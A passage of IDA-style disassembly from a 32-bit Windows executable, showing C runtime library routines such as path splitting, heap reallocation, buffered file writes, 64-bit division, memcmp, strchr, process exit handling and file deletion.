var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_413E90
		cmp	eax, 1
		pop	ecx
		jb	short loc_415663
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_415663
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41565F
		push	2
		push	ebx
		push	esi
		call	sub_41A5F3
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41565F:				; CODE XREF: sub_415628+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41566D
; ---------------------------------------------------------------------------


loc_415663:				; CODE XREF: sub_415628+18j
					; sub_415628+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41566D
		and	byte ptr [eax],	0


loc_41566D:				; CODE XREF: sub_415628+39j
					; sub_415628+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4156E5


loc_415680:				; CODE XREF: sub_415628+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_743761[edx], 4
		jz	short loc_415691
		inc	eax
		jmp	short loc_4156AB
; ---------------------------------------------------------------------------


loc_415691:				; CODE XREF: sub_415628+64j
		cmp	cl, 2Fh
		jz	short loc_4156A5
		cmp	cl, 5Ch
		jz	short loc_4156A5
		cmp	cl, 2Eh
		jnz	short loc_4156AB
		mov	[ebp+var_4], eax
		jmp	short loc_4156AB
; ---------------------------------------------------------------------------


loc_4156A5:				; CODE XREF: sub_415628+6Cj
					; sub_415628+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4156AB:				; CODE XREF: sub_415628+67j
					; sub_415628+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_415680
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4156E5
		cmp	[ebp+arg_8], 0
		jz	short loc_4156E0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4156C9
		mov	edi, esi


loc_4156C9:				; CODE XREF: sub_415628+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41A5F3
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4156E0:				; CODE XREF: sub_415628+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4156EF
; ---------------------------------------------------------------------------


loc_4156E5:				; CODE XREF: sub_415628+56j
					; sub_415628+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4156EF
		and	byte ptr [ecx],	0


loc_4156EF:				; CODE XREF: sub_415628+BBj
					; sub_415628+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_415742
		cmp	edi, ebx
		jb	short loc_415742
		cmp	[ebp+arg_C], 0
		jz	short loc_41571F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_415708
		mov	edi, esi


loc_415708:				; CODE XREF: sub_415628+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41A5F3
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41571F:				; CODE XREF: sub_415628+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41576A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41572F
		mov	esi, eax


loc_41572F:				; CODE XREF: sub_415628+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41A5F3
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41576A
; ---------------------------------------------------------------------------


loc_415742:				; CODE XREF: sub_415628+CCj
					; sub_415628+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_415760
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_415751
		mov	esi, eax


loc_415751:				; CODE XREF: sub_415628+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41A5F3
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_415760:				; CODE XREF: sub_415628+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41576A
		and	byte ptr [eax],	0


loc_41576A:				; CODE XREF: sub_415628+FCj
					; sub_415628+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415628	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41576F	proc near		; CODE XREF: sub_4098A7+19p
					; sub_40B26F+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_416065
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4157AD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4157BA
; ---------------------------------------------------------------------------


loc_4157AD:				; CODE XREF: sub_41576F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_4157BA:				; CODE XREF: sub_41576F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41576F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4157BF	proc near		; CODE XREF: sub_409B05+2Ep
					; sub_414913+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4157DA
		push	[esp+10h+arg_4]
		call	sub_413F0B
		pop	ecx
		jmp	loc_4158DA
; ---------------------------------------------------------------------------


loc_4157DA:				; CODE XREF: sub_4157BF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_4157F0
		push	ebx
		call	sub_413F7F
		pop	ecx


loc_4157E9:				; CODE XREF: sub_4157BF+114j
		xor	eax, eax
		jmp	loc_4158DA
; ---------------------------------------------------------------------------


loc_4157F0:				; CODE XREF: sub_4157BF+21j
					; sub_4157BF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4158BB
		push	ebx
		call	sub_416979
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_415898
		cmp	esi, dword_4379CC
		ja	short loc_415858
		push	esi
		push	ebx
		push	ebp
		call	sub_417184
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415827
		mov	edi, ebx
		jmp	short loc_415850
; ---------------------------------------------------------------------------


loc_415827:				; CODE XREF: sub_4157BF+62j
		push	esi
		call	sub_416CCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_415858
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41583E
		mov	eax, esi


loc_41583E:				; CODE XREF: sub_4157BF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4138F0
		push	ebx
		push	ebp
		call	sub_4169A4
		add	esp, 14h


loc_415850:				; CODE XREF: sub_4157BF+66j
		test	edi, edi
		jnz	loc_4158D8


loc_415858:				; CODE XREF: sub_4157BF+53j
					; sub_4157BF+73j
		test	esi, esi
		jnz	short loc_41585F
		push	1
		pop	esi


loc_41585F:				; CODE XREF: sub_4157BF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_743880
		call	dword_41F144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4158BB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_415884
		mov	eax, esi


loc_415884:				; CODE XREF: sub_4157BF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4138F0
		push	ebx
		push	ebp
		call	sub_4169A4
		add	esp, 14h
		jmp	short loc_4158B7
; ---------------------------------------------------------------------------


loc_415898:				; CODE XREF: sub_4157BF+47j
		test	esi, esi
		jnz	short loc_41589F
		push	1
		pop	esi


loc_41589F:				; CODE XREF: sub_4157BF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_743880
		call	dword_41F158	; RtlReAllocateHeap
		mov	edi, eax


loc_4158B7:				; CODE XREF: sub_4157BF+D7j
		test	edi, edi
		jnz	short loc_4158D8


loc_4158BB:				; CODE XREF: sub_4157BF+36j
					; sub_4157BF+B9j
		cmp	dword_742284, 0
		jz	short loc_4158D8
		push	esi
		call	sub_4168E4
		test	eax, eax
		pop	ecx
		jnz	loc_4157F0
		jmp	loc_4157E9
; ---------------------------------------------------------------------------


loc_4158D8:				; CODE XREF: sub_4157BF+93j
					; sub_4157BF+FAj ...
		mov	eax, edi


loc_4158DA:				; CODE XREF: sub_4157BF+16j
					; sub_4157BF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4157BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158DF	proc near		; CODE XREF: sub_40A160+12Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_415903
		xor	eax, eax
		jmp	loc_4159D0
; ---------------------------------------------------------------------------


loc_415903:				; CODE XREF: sub_4158DF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_415916
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41591D
; ---------------------------------------------------------------------------


loc_415916:				; CODE XREF: sub_4158DF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41591D:				; CODE XREF: sub_4158DF+35j
					; sub_4158DF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_415951
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_415951
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_415937
		mov	edi, eax


loc_415937:				; CODE XREF: sub_4158DF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4138F0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_415997
; ---------------------------------------------------------------------------


loc_415951:				; CODE XREF: sub_4158DF+47j
					; sub_4158DF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41599C
		test	ecx, ecx
		jz	short loc_415965
		push	esi
		call	sub_419849
		test	eax, eax
		pop	ecx
		jnz	short loc_4159DE


loc_415965:				; CODE XREF: sub_4158DF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_415978
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41597A
; ---------------------------------------------------------------------------


loc_415978:				; CODE XREF: sub_4158DF+8Aj
		mov	edi, ebx


loc_41597A:				; CODE XREF: sub_4158DF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41A67D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4159D5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4159D5


loc_415997:				; CODE XREF: sub_4158DF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4159C5
; ---------------------------------------------------------------------------


loc_41599C:				; CODE XREF: sub_4158DF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_415F50
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4159DE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4159C5
		mov	[ebp+arg_C], 1


loc_4159C5:				; CODE XREF: sub_4158DF+BBj
					; sub_4158DF+DDj
		test	ebx, ebx
		jnz	loc_41591D
		mov	eax, [ebp+arg_8]


loc_4159D0:				; CODE XREF: sub_4158DF+1Fj
					; sub_4158DF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4159D5:				; CODE XREF: sub_4158DF+ADj
					; sub_4158DF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4159E0
; ---------------------------------------------------------------------------


loc_4159DE:				; CODE XREF: sub_4158DF+84j
					; sub_4158DF+CFj
		mov	eax, edi


loc_4159E0:				; CODE XREF: sub_4158DF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4159D0
sub_4158DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159E9	proc near		; CODE XREF: sub_40A90D+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_41F078	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415A09
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		call	sub_41A82A
		pop	ecx


loc_415A05:				; CODE XREF: sub_4159E9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_415A09:				; CODE XREF: sub_4159E9+Dj
		test	al, 1
		jz	short loc_415A2A
		test	[esp+arg_4], 2
		jz	short loc_415A2A
		mov	dword_74222C, 0Dh
		mov	dword_742230, 5
		jmp	short loc_415A05
; ---------------------------------------------------------------------------


loc_415A2A:				; CODE XREF: sub_4159E9+22j
					; sub_4159E9+29j
		xor	eax, eax
		retn
sub_4159E9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40AA37+5Fp
					; sub_40AA37+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_415A51
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_415A51:				; CODE XREF: sub_415A30+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_415A6D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_415A6D:				; CODE XREF: sub_415A30+27j
		or	eax, eax
		jnz	short loc_415A89
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_415ACA
; ---------------------------------------------------------------------------


loc_415A89:				; CODE XREF: sub_415A30+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_415A97:				; CODE XREF: sub_415A30+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_415A97
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_415AC5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_415AC5
		jb	short loc_415AC6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_415AC6


loc_415AC5:				; CODE XREF: sub_415A30+85j
					; sub_415A30+8Bj
		dec	esi


loc_415AC6:				; CODE XREF: sub_415A30+8Dj
					; sub_415A30+93j
		xor	edx, edx
		mov	eax, esi


loc_415ACA:				; CODE XREF: sub_415A30+57j
		dec	edi
		jnz	short loc_415AD4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_415AD4:				; CODE XREF: sub_415A30+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_415A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AE0	proc near		; CODE XREF: sub_40AD97+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_415B2C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_415B2D
		test	eax, 1
		jz	short loc_415B0D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_415B5A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_415B2A


loc_415B0D:				; CODE XREF: sub_415AE0+20j
					; sub_415AE0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_415B5A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_415B5A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_415B0D


loc_415B2A:				; CODE XREF: sub_415AE0+2Bj
					; sub_415AE0+84j
		pop	edi
		pop	esi

locret_415B2C:				; CODE XREF: sub_415AE0+6j
		retn
; ---------------------------------------------------------------------------


loc_415B2D:				; CODE XREF: sub_415AE0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_415B62
		repe cmpsd
		jz	short loc_415B62
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_415B55
		cmp	ch, dh
		jnz	short loc_415B55
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_415B55
		cmp	ch, dh


loc_415B55:				; CODE XREF: sub_415AE0+63j
					; sub_415AE0+67j ...
		mov	eax, 0


loc_415B5A:				; CODE XREF: sub_415AE0+26j
					; sub_415AE0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415B62:				; CODE XREF: sub_415AE0+55j
					; sub_415AE0+59j
		test	eax, eax
		jz	short loc_415B2A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_415B55
		dec	eax
		jz	short loc_415B89
		cmp	dh, ch
		jnz	short loc_415B55
		dec	eax
		jz	short loc_415B89
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_415B55
		dec	eax


loc_415B89:				; CODE XREF: sub_415AE0+8Fj
					; sub_415AE0+96j
		pop	edi
		pop	esi
		retn
sub_415AE0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_415BA0


loc_415B90:				; CODE XREF: sub_415BA0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_415BA0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_40B734+32p
					; sub_40B85A+21p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00415B90 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_415BA6:				; CODE XREF: sub_413DE0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_415BCB


loc_415BB8:				; CODE XREF: sub_415BA0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_415B90
		test	cl, cl
		jz	short loc_415C14
		test	edx, 3
		jnz	short loc_415BB8


loc_415BCB:				; CODE XREF: sub_415BA0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_415BD6:				; CODE XREF: sub_415BA0+61j
					; sub_415BA0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_415C18
		and	eax, 81010100h
		jz	short loc_415BD6
		and	eax, 1010100h
		jnz	short loc_415C12
		and	esi, 80000000h
		jnz	short loc_415BD6


loc_415C12:				; CODE XREF: sub_415BA0+68j
					; sub_415BA0+81j ...
		pop	esi
		pop	edi


loc_415C14:				; CODE XREF: sub_415BA0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415C18:				; CODE XREF: sub_415BA0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_415C55
		test	al, al
		jz	short loc_415C12
		cmp	ah, bl
		jz	short loc_415C4E
		test	ah, ah
		jz	short loc_415C12
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_415C47
		test	al, al
		jz	short loc_415C12
		cmp	ah, bl
		jz	short loc_415C40
		test	ah, ah
		jz	short loc_415C12
		jmp	short loc_415BD6
; ---------------------------------------------------------------------------


loc_415C40:				; CODE XREF: sub_415BA0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C47:				; CODE XREF: sub_415BA0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C4E:				; CODE XREF: sub_415BA0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415BA0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_415BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C5C	proc near		; CODE XREF: seg001:00415EA4p
		mov	eax, off_43777C
		test	eax, eax
		jz	short loc_415C67
		call	eax ; sub_41407D


loc_415C67:				; CODE XREF: sub_415C5C+7j
		push	offset dword_421024
		push	offset dword_421010
		call	sub_415D44
		push	offset dword_42100C
		push	offset dword_421000
		call	sub_415D44
		add	esp, 10h
		retn
sub_415C5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C89	proc near		; CODE XREF: seg001:00415EE3p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_415CAB
		add	esp, 0Ch
		retn
sub_415C89	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C9A	proc near		; CODE XREF: seg001:00415F02p
					; sub_415F07+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_415CAB
		add	esp, 0Ch
		retn
sub_415C9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CAB	proc near		; CODE XREF: sub_415C89+8p
					; sub_415C9A+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_742274, edi
		jnz	short loc_415CC8
		push	[esp+4+arg_0]
		call	dword_41F0F0	; GetCurrentProcess
		push	eax
		call	dword_41F138	; TerminateProcess


loc_415CC8:				; CODE XREF: sub_415CAB+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_742270, edi
		mov	byte_74226C, bl
		jnz	short loc_415D1C
		mov	eax, dword_743894
		test	eax, eax
		jz	short loc_415D0B
		mov	ecx, dword_743890
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_415D0A


loc_415CF7:				; CODE XREF: sub_415CAB+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415CFF
		call	eax


loc_415CFF:				; CODE XREF: sub_415CAB+50j
		sub	esi, 4
		cmp	esi, dword_743894
		jnb	short loc_415CF7


loc_415D0A:				; CODE XREF: sub_415CAB+4Aj
		pop	esi


loc_415D0B:				; CODE XREF: sub_415CAB+3Cj
		push	offset dword_421030
		push	offset dword_421028
		call	sub_415D44
		pop	ecx
		pop	ecx


loc_415D1C:				; CODE XREF: sub_415CAB+33j
		push	offset dword_42103C
		push	offset dword_421034
		call	sub_415D44
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_415D42
		push	[esp+4+arg_0]
		mov	dword_742274, edi
		call	dword_41F104	; ExitProcess


loc_415D42:				; CODE XREF: sub_415CAB+85j
		pop	edi
		retn
sub_415CAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D44	proc near		; CODE XREF: sub_415C5C+15p
					; sub_415C5C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_415D49:				; CODE XREF: sub_415D44+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_415D5C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415D57
		call	eax


loc_415D57:				; CODE XREF: sub_415D44+Fj
		add	esi, 4
		jmp	short loc_415D49
; ---------------------------------------------------------------------------


loc_415D5C:				; CODE XREF: sub_415D44+9j
		pop	esi
		retn
sub_415D44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D5E	proc near		; CODE XREF: sub_40CC09+409Fp
					; sub_40CC09+40CEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_415D72
		xor	eax, eax
		jmp	short loc_415DA8
; ---------------------------------------------------------------------------


loc_415D72:				; CODE XREF: sub_415D5E+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_415DA2
		mov	esi, [ebp+arg_8]


loc_415D7B:				; CODE XREF: sub_415D5E+42j
		dec	dword ptr [esi+4]
		js	short loc_415D8A
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_415D91
; ---------------------------------------------------------------------------


loc_415D8A:				; CODE XREF: sub_415D5E+20j
		push	esi
		call	sub_41991B
		pop	ecx


loc_415D91:				; CODE XREF: sub_415D5E+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415DAC
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_415DA2
		dec	[ebp+arg_4]
		jnz	short loc_415D7B


loc_415DA2:				; CODE XREF: sub_415D5E+18j
					; sub_415D5E+3Dj ...
		and	byte ptr [edi],	0


loc_415DA5:				; CODE XREF: sub_415D5E+55j
		mov	eax, ebx
		pop	esi


loc_415DA8:				; CODE XREF: sub_415D5E+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415DAC:				; CODE XREF: sub_415D5E+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_415DA2
		xor	ebx, ebx
		jmp	short loc_415DA5
sub_415D5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DB5	proc near		; CODE XREF: sub_40CC09+2761p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_41F118	; DeleteFileA
		test	eax, eax
		jnz	short loc_415DCB
		call	dword_41F06C	; RtlGetLastWin32Error
		jmp	short loc_415DCD
; ---------------------------------------------------------------------------


loc_415DCB:				; CODE XREF: sub_415DB5+Cj
		xor	eax, eax


loc_415DCD:				; CODE XREF: sub_415DB5+14j
		test	eax, eax
		jz	short loc_415DDC
		push	eax
		call	sub_41A82A
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_415DDC:				; CODE XREF: sub_415DB5+1Aj
		xor	eax, eax
		retn
sub_415DB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DDF	proc near		; CODE XREF: sub_40CC09+26B8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A891
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416065
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A91E
		add	esp, 18h
